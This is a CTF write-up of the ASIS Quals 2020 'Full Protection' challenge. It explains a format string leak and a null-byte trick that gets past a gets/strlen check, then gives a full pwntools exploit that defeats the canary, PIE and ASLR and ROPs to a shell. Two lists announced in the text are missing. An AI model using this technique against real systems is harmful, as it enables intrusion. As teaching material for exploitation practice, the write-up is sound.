Full Protection - ASIS CTF Quals

July 5, 2020

In this post I am going to solve the "Full Protection" challenge from ASIS CTF Quals 2020. We are given two files: chall and libc-2.27.so. Let's see what protections chall has.


$ checksec ./chall
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

Here is what these protections mean (roughly):

Now we can go ahead and see what the program does by decompiling it in Ghidra. Looks like an infinite loop of reading and echoing user input.


undefined8 main(void)
{

  -snip-

  while(true) {
    iVar1 = readline(&local_58,0x40);
    if (iVar1 == 0) break;
    __printf_chk(1,&local_58);
    _IO_putc(10,stdout);
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
  __stack_chk_fail();
}

We can see a printf which takes our user input (local_58) that has been read through the readline (see below) and prints it without any format arguments, which means that there is a format string vulnerability.

Despite that, we still won't be able to use the offset notation because it is __printf_chk. We can test our assumptions by running the program and providing format specifiers as input.


$ ./chall
AAAA.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x
AAAA.2240e360.0.2240e360.0.41414141.252e7825.252e7825.2578252e2e78252e.0.0.0

We already have a format string vulnerability, but we can't do much with it right now except leaking the stack up to a limited extent. Let's go ahead and decompile the readline function.


void readline(char *param_1,int param_2)
{
  size_t sVar1;
  
  gets(param_1);
  sVar1 = strlen(param_1);
  if ((int)sVar1 < param_2) {
    return;
  }
  puts("[FATAL] Buffer Overflow");
  _exit(1);
}

We have gets! Which means that there will be no boundary check for the user input. But unfortunately right afterwards there is a check using strlen. We can see in the decompilation of main above that the value passed into param_2 is 0x40 which means our buffer can only be 64 characters long.

But the interesting thing is that while strlen terminates after encountering a null byte, gets stops at newlines. For example, if our input is \x00AAAA\n, strlen will say that the length is zero, but the four A's will still be stored on the stack.

So we can trick the length check and overflow the return address of the main function — since the buffer is stored in main, readline only contains the pointer to it. The amount of characters to input in order to redirect the control flow was figured out using dynamic analysis through gdb.

The only issue is that before overflowing the return address, the canary gets overflown too. So we first need to leak the canary and append it to our payload. For that we need to know what offset from the format string is the canary located. This can be done dynamically. We observe the instructions where the canary is being set, we break on them, and then inspect to them to get the value.


(gdb) disas main
-snip-
   0x0000000000000859 <+9>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000000862 <+18>:	mov    QWORD PTR [rsp+0x48],rax
-snip-
(gdb) b *main+18
Breakpoint 1 at 0x555555554862
(gdb) r
Breakpoint 1, 0x0000555555554862 in main ()
=> 0x0000555555554862 <main+18>:	48 89 44 24 48	mov    QWORD PTR [rsp+0x48],rax
(gdb) i r rax
rax            0x8307ee9bdbab600   590111093561144832

We can see that the canary value is 0x8307ee9bdbab600. Now we can keep repeating %p in our format string until we see the canary echoed back to us. Once we have that, we can write the canary onto the stack with the gets overflow to prevent stack smashing detection.

Now that we can point RIP to anything we want, we still have some issues. Since the binary's and libc's addresses keep changing on each execution, we need to first leak their bases. This can be done using the format string vulnerability as well. After some more time with gdb, I figured out that the canary is at offset 12 and the binary is at offset 18 from the format string.

We need to mask the lower three nibbles (4KB) to get the base for the binary from the extracted address. We can leak libc using a simple pop rdi gadget that we can find within the binary and use it to leak puts and consequently libc.

Once we have libc for our ROP, we can easily spawn a shell by passing "/bin/sh" into RDI and calling system.

A few things to keep in mind:

The final exploit script:


from pwn import *

fn = './chall'
r = remote('69.172.229.147',9002)

# leaking canary
r.sendline('%p-'*20)
fmt = r.recvline().split(b'-')
canary = int(fmt[-8],16)
pie = int(fmt[-2],16) & 0xfffffffffffff000
offset = b'\x00' + b'A'*71 + p64(canary) + b'A'*8

# leaking libc base
rop = ROP(fn)
elf = ELF(fn,checksec=False)
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_plt = elf.symbols['main']

rop1 = offset + p64(pie+pop_rdi) + p64(pie+puts_got) + p64(pie+puts_plt) + p64(pie+main_plt)

r.sendline(rop1)
leak = u64(r.recvline().rstrip().ljust(8, b'\x00'))
libc = ELF('./libc-2.27.so', checksec=False)
libc.address = leak - libc.symbols['puts']

# spawning a shell
binsh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
exit = libc.sym['exit']

#0x439c8 : pop rax ; ret
#0x21b95 : call rax
rop2 = offset + p64(pie+pop_rdi) + p64(binsh) + p64(libc.address+0x439c8) + p64(system) + p64(libc.address+0x21b95)
r.sendline(rop2)
r.interactive()

Running the script:

$ python3 sol.py 
[+] Opening connection to 69.172.229.147 on port 9002: Done
-snip-
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ASIS{s3cur1ty_pr0t3ct10n_1s_n07_s1lv3r_bull3t}